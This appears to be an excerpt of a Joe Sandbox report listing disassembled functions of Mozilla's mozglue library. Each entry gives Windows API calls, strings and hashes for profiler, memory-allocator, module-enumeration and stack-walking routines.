Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5AB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C5AB5E0

GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

" attempted to re-register as ", xrefs: 6C5EF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
Thread , xrefs: 6C5EF789

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C5EF008
[I %d/%d] profiler_stop, xrefs: 6C5EEED7

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5DD047
GetSystemInfo.KERNEL32(?), ref: 6C5DD093
__Init_thread_footer.LIBCMT ref: 6C5DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5DD1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C5DD322
<jemalloc>, xrefs: 6C5DD268, 6C5DD311
Compile-time page size does not divide the runtime one., xrefs: 6C5DD26D
MOZ_CRASH(), xrefs: 6C5DD277
MALLOC_OPTIONS, xrefs: 6C5DD0CB

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction ID: 4c71637b38a5332d0e8829e1de787c8766cad640ee74136df4288f0353e2da40
Opcode Fuzzy Hash: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction Fuzzy Hash: 7481AF70A453019BEB00DFBACC94AA977B5EB86305F11053AE94297B80D77DA805CFAD

Function 6C5B7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5B801D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B808D

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8199

Strings

0>^l, xrefs: 6C5B811E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>^l
API String ID: 2721933968-2678502030
Opcode ID: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction ID: b237d2fdcfbdf3c97cbb2410b6f3dd2c5a2415732a7c14bb23d275ac6f3677f8
Opcode Fuzzy Hash: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction Fuzzy Hash: 825186B1E00115ABDF00DBA9DC84AEFBBB9EF89264F140125E815F7741E735AD048BA6

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
ntdll.dll, xrefs: 6C5B96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
MapViewOfFileNuma2, xrefs: 6C5B97B1

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
<none>, xrefs: 6C5EDFD7

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD918
GetCurrentThreadId.KERNEL32 ref: 6C5FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD970
GetCurrentThreadId.KERNEL32 ref: 6C5FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD9CF
